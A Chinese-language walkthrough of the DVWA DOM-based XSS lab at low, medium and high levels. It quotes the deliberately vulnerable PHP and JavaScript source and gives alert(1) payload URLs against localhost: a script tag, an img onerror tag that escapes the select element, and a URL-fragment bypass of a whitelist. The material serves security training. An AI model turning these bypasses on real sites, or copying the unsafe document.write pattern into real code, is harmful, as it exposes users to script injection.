### dom型xss
### ①、low
漏洞代码:
```
<?php
# Don't need to do anything, protction handled on the client side
?>
```
由于未做任何安全校验,直接构造payload:
```
http://localhost:8080/dvwa/vulnerabilities/xss_d/?default=English%3Cscript%3Ealert(1)%3C/script%3E
```
弹窗:
![](/upload/attach/201710/201710301749_l44zl5jlgzxtqi1.jpg)
### ②、medium
漏洞代码:
```
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
```
```
<p>Please choose a language:</p>
<form name="XSS" method="GET">
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
</select>
<input type="submit" value="Select" />
</form>
```
分析与利用:
array_key_exists检查数组里是否有指定的键名或索引,并且default值不为null。
stripos 返回default中字符串<script首次出现的位置(不区分大小写),如果未发现返回false。且进入header跳转。
此时<script>标签不再可用,可以尝试别的标签 如:<img>, 先闭合</option></select>标签,
构造payload:
```
http://localhost:8080/dvwa/vulnerabilities/xss_d/?default=English%3E/option%3E%3C/select%3E%3Cimg%20src=%27x%27%20onerror=%27alert(1)%27%3E
```
### ③、high
漏洞代码:
```
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
```
分析与利用:
以上逻辑代码只要不符合case,进入default语句,在?default=English设置#字符,因为#之后的字符串不会被发送到服务器上,构造payload如下:
```
/vulnerabilities/xss_d/?default=English#<script>alert(1)</script>
```